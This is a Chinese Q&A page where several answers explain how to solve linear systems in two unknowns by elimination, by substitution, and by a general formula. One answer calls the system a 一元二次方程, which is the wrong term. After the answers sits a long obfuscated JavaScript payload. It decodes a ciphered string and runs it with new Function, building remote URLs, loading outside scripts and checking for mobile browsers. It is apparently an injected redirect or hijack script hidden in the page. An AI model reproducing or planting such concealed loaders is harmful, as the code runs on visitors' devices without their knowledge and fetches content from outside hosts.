推荐回答（5个）
二元一次方程组可以利用X,Y的系数关系进行乘涂得到相同系数后进行两式加减消去一个末知数变成一元一次方程并把这个解代入另一式中解出弟二个未知数最后代入原方程组验证不是很难吧 另外不是利用系数，加减消一个元而是二元方程的等式中两亇未知数之的关系用一亇取代另一个未知数实现消元的目的 其实二元一次方程没什么新东西 包括三元一次方程也是一样消元再消元 这个过程不是小学里学的东西吗 所以不要烦稍多用点心真的不难 但是到二次方程就要打好基础不能马虎要背公式----等等加油努力一定成功如果本题有什么不明白可以追问，如果满意记得采纳如果有其他问题请采纳本题后另发点击向我求助，答题不易，请谅解，谢谢。祝学习进步.
一般来说有加减消元法和代入消元法两种。假设该方程组的两个未知量为x，y，则可由其中一条方程解出y等于多少x，代入另一方程，得到一个y的方程，解出y，最后再反代就可以得到x。或者可以将将两式分别乘以两个数，乘以两个数后，要么X的系数相同，要么y的系数相同，通过相加减可以得到一个关于x或者y的方程，余下解法同上。
给你个公式把
设一元二次方程为
{ax+by=c①
{dx+fy=g②
把①×d-②×a得
（bd-af）y=cd-ga
y=（cd-ga）/(bd-af)
同理可解
x=（cf-gb）/(af-db)
3x+2y=12和7x+4y=26，第一个式子乘以7，第二个乘以3，然后相减。根本上是找x前系数的最小公倍数。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
